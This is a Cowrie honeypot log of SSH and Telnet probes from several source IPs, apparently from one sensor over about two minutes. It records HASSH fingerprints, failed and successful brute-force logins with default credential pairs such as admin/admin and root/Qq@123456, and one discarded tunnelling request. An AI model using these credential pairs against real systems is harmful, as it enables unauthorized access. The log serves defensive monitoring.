{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:01.296043Z","src_ip":"14.248.83.33","session":"a6b40ebc86c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"a","message":"login attempt [server/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:02.289278Z","src_ip":"14.248.83.33","session":"a6b40ebc86c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64402,"dst_ip":"10.17.0.5","dst_port":22,"session":"75ab9d942499","protocol":"ssh","message":"New connection: 87.251.64.176:64402 (10.17.0.5:22) [session: 75ab9d942499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:02.723570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:02.728699Z","src_ip":"87.251.64.176","session":"75ab9d942499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:02.826609Z","src_ip":"87.251.64.176","session":"75ab9d942499","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:03.128476Z","src_ip":"87.251.64.176","session":"75ab9d942499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:03.231481Z","session":"75ab9d942499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:03.335028Z","src_ip":"87.251.64.176","session":"75ab9d942499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:03.437385Z","src_ip":"87.251.64.176","session":"75ab9d942499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:03.539876Z","src_ip":"14.248.83.33","session":"a6b40ebc86c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":45616,"dst_ip":"159.203.135.109","dst_port":22,"session":"61255a5f5659","protocol":"ssh","message":"New connection: 103.69.96.120:45616 (159.203.135.109:22) [session: 61255a5f5659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:08.428385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:08.433199Z","src_ip":"103.69.96.120","session":"61255a5f5659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:08.683908Z","src_ip":"103.69.96.120","session":"61255a5f5659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456","message":"login attempt [root/Qq@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:09.686025Z","src_ip":"103.69.96.120","session":"61255a5f5659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:10.942821Z","src_ip":"103.69.96.120","session":"61255a5f5659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":64475,"dst_ip":"159.203.135.109","dst_port":22,"session":"34a189488706","protocol":"ssh","message":"New connection: 181.39.158.30:64475 (159.203.135.109:22) [session: 34a189488706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:13.256860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:13.262639Z","src_ip":"181.39.158.30","session":"34a189488706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:13.380435Z","src_ip":"181.39.158.30","session":"34a189488706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nimda","message":"login attempt [admin/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:13.884079Z","src_ip":"181.39.158.30","session":"34a189488706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:15.005975Z","src_ip":"181.39.158.30","session":"34a189488706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.910423278808594,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:15.731040Z","src_ip":"217.182.190.44","session":"19f9f4aa7960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58550,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f491f3505f","protocol":"telnet","message":"New connection: 174.138.46.234:58550 (159.203.135.109:23) [session: 07f491f3505f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:17.191245Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58890,"dst_ip":"159.203.135.109","dst_port":23,"session":"1764c3d344fa","protocol":"telnet","message":"New connection: 174.138.46.234:58890 (159.203.135.109:23) [session: 1764c3d344fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:18.452015Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59000,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46d2a63c1a0","protocol":"telnet","message":"New connection: 174.138.46.234:59000 (159.203.135.109:23) [session: d46d2a63c1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:18.945740Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59292,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f56e7af7e65","protocol":"telnet","message":"New connection: 174.138.46.234:59292 (159.203.135.109:23) [session: 5f56e7af7e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:20.208992Z"}
{"eventid":"cowrie.session.closed","duration":4.487312316894531,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:23.432951Z","src_ip":"174.138.46.234","session":"d46d2a63c1a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.834129810333252,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:26.042989Z","src_ip":"174.138.46.234","session":"5f56e7af7e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29840588569641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:30.824117Z","src_ip":"217.182.190.44","session":"e659cdd13dbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.119.207.106","src_port":59366,"dst_ip":"159.203.135.109","dst_port":23,"session":"edbb0c906565","protocol":"telnet","message":"New connection: 154.119.207.106:59366 (159.203.135.109:23) [session: edbb0c906565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:37.263945Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36502,"dst_ip":"159.203.135.109","dst_port":23,"session":"922f97a2b83c","protocol":"telnet","message":"New connection: 174.138.46.234:36502 (159.203.135.109:23) [session: 922f97a2b83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:39.924448Z"}
{"eventid":"cowrie.session.closed","duration":7.116466760635376,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:47.040792Z","src_ip":"174.138.46.234","session":"922f97a2b83c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.51447057723999,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:49.778311Z","src_ip":"154.119.207.106","session":"edbb0c906565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":34440,"dst_ip":"159.203.135.109","dst_port":22,"session":"738f4f35948e","protocol":"ssh","message":"New connection: 103.69.96.120:34440 (159.203.135.109:22) [session: 738f4f35948e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:05.970638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:05.976404Z","src_ip":"103.69.96.120","session":"738f4f35948e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:06.220814Z","src_ip":"103.69.96.120","session":"738f4f35948e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.36398458480835,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:06.555133Z","src_ip":"174.138.46.234","session":"07f491f3505f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwas","message":"login attempt [root/qwas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:07.229456Z","src_ip":"103.69.96.120","session":"738f4f35948e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:08.476425Z","src_ip":"103.69.96.120","session":"738f4f35948e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.025534868240356,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:09.477433Z","src_ip":"174.138.46.234","session":"1764c3d344fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":13756,"dst_ip":"159.203.135.109","dst_port":22,"session":"1648b22e7a3f","protocol":"ssh","message":"New connection: 181.39.158.30:13756 (159.203.135.109:22) [session: 1648b22e7a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:10.980694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:10.984941Z","src_ip":"181.39.158.30","session":"1648b22e7a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:11.098380Z","src_ip":"181.39.158.30","session":"1648b22e7a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftp","message":"login attempt [ftptest/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:11.588581Z","src_ip":"181.39.158.30","session":"1648b22e7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:12.705550Z","src_ip":"181.39.158.30","session":"1648b22e7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":43880,"dst_ip":"159.203.135.109","dst_port":22,"session":"651856504a70","protocol":"ssh","message":"New connection: 14.248.83.33:43880 (159.203.135.109:22) [session: 651856504a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:57.149702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:57.155118Z","src_ip":"14.248.83.33","session":"651856504a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:57.399669Z","src_ip":"14.248.83.33","session":"651856504a70","protocol":"ssh"}
